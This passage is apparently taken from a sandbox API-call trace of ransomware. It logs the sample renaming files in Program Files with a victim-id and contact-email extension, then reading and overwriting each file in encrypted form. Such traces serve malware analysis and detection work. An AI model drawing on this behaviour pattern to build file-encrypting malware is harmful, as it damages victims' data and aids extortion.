(hObject=0x674) returned 1 [0212.597] GetProcessHeap () returned 0x630000 [0212.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0212.597] GetProcessHeap () returned 0x630000 [0212.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0212.598] GetProcessHeap () returned 0x630000 [0212.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0212.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44aa2188, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7d0b, dwReserved0=0xbfc7496, dwReserved1=0x7224590, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f00 [0212.598] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0212.598] Sleep (dwMilliseconds=0x1) [0214.603] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe", len=0x43 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe") returned 1 [0214.603] GetProcessHeap () returned 0x630000 [0214.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f38) returned 0x7128660 [0214.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0214.604] CloseHandle (hObject=0x698) returned 1 [0214.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\integratedoffice.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\integratedoffice.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTEGR~1.FIR")) returned 0x6d5580 [0214.606] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0214.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\integratedoffice.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0214.606] GetProcessHeap () returned 0x630000 [0214.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0214.606] GetProcessHeap () returned 0x630000 [0214.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73c8f30 [0214.607] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.607] ReadFile (in: hFile=0x698, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.159] GetProcessHeap () returned 0x630000 [0221.159] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0221.159] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.160] WriteFile (in: hFile=0x698, lpBuffer=0x73c8f30*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8f30*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.160] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.160] WriteFile (in: hFile=0x698, lpBuffer=0x73d432f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d432f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.163] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.163] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.163] CloseHandle (hObject=0x698) returned 1 [0221.164] GetProcessHeap () returned 0x630000 [0221.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8f30 | out: hHeap=0x630000) returned 1 [0221.164] GetProcessHeap () returned 0x630000 [0221.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0221.164] GetProcessHeap () returned 0x630000 [0221.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0221.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x49c4c904, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10aea4, dwReserved0=0xbfc7496, dwReserved1=0x72b8498, cFileName="IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTEGR~1.FIR")) returned 0x6d5280 [0221.165] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0221.165] Sleep (dwMilliseconds=0x1) [0221.166] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml") returned 1 [0221.166] GetProcessHeap () returned 0x630000 [0221.166] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ec) returned 0x6fe3bb0 [0221.166] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0221.167] CloseHandle (hObject=0x6c8) returned 1 [0221.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.167] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0221.168] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.168] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0221.168] GetProcessHeap () returned 0x630000 [0221.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0221.168] GetProcessHeap () returned 0x630000 [0221.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0221.168] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.168] ReadFile (in: hFile=0x6c8, lpBuffer=0x6f3768, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesRead=0x4d3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0222.589] GetProcessHeap () returned 0x630000 [0222.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0222.589] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.589] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f3c90*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesWritten=0x4d3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0224.021] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.022] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f3e0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e0f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.026] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.026] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.026] CloseHandle (hObject=0x6c8) returned 1 [0225.673] GetProcessHeap () returned 0x630000 [0225.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0225.673] GetProcessHeap () returned 0x630000 [0225.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0225.673] GetProcessHeap () returned 0x630000 [0225.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0227.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c140d98, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x4d3fd20, dwReserved1=0x6f3768, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0227.351] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0227.351] Sleep (dwMilliseconds=0x1) [0227.401] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js", len=0x85 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js") returned 1 [0227.401] GetProcessHeap () returned 0x630000 [0227.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5138) returned 0x6fe3bb0 [0227.401] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\privacycontentwrapper.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0227.402] CloseHandle (hObject=0x678) returned 1 [0227.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.402] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\privacycontentwrapper.min.js"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\privacycontentwrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x720065, dwReserved1=0x6d002e, cFileName="PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRIVAC~1.FIR")) returned 0x6d4e40 [0227.409] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0227.410] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\privacycontentwrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0227.484] GetProcessHeap () returned 0x630000 [0227.484] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7021080 [0227.484] GetProcessHeap () returned 0x630000 [0227.484] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702c4b0 [0227.484] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.484] ReadFile (in: hFile=0x678, lpBuffer=0x7021080, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7021080*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.248] GetProcessHeap () returned 0x630000 [0233.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0233.248] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.249] WriteFile (in: hFile=0x678, lpBuffer=0x702c4b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x702c4b0*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.836] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.836] WriteFile (in: hFile=0x678, lpBuffer=0x70378af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70378af*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.924] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.924] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.924] CloseHandle (hObject=0x678) returned 1 [0233.924] GetProcessHeap () returned 0x630000 [0233.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702c4b0 | out: hHeap=0x630000) returned 1 [0233.924] GetProcessHeap () returned 0x630000 [0233.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7021080 | out: hHeap=0x630000) returned 1 [0233.924] GetProcessHeap () returned 0x630000 [0233.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0233.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51612daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2884c, dwReserved0=0xbfc7496, dwReserved1=0x7021078, cFileName="PrivacyContentWrapper.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRIVAC~1.FIR")) returned 0x6d5240 [0233.925] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0233.925] Sleep (dwMilliseconds=0x1) [0233.937] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html", len=0x6f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html") returned 1 [0233.937] GetProcessHeap () returned 0x630000 [0233.937] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b0) returned 0x6fe3bb0 [0233.937] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0234.209] CloseHandle (hObject=0x648) returned 1 [0234.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.209] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, 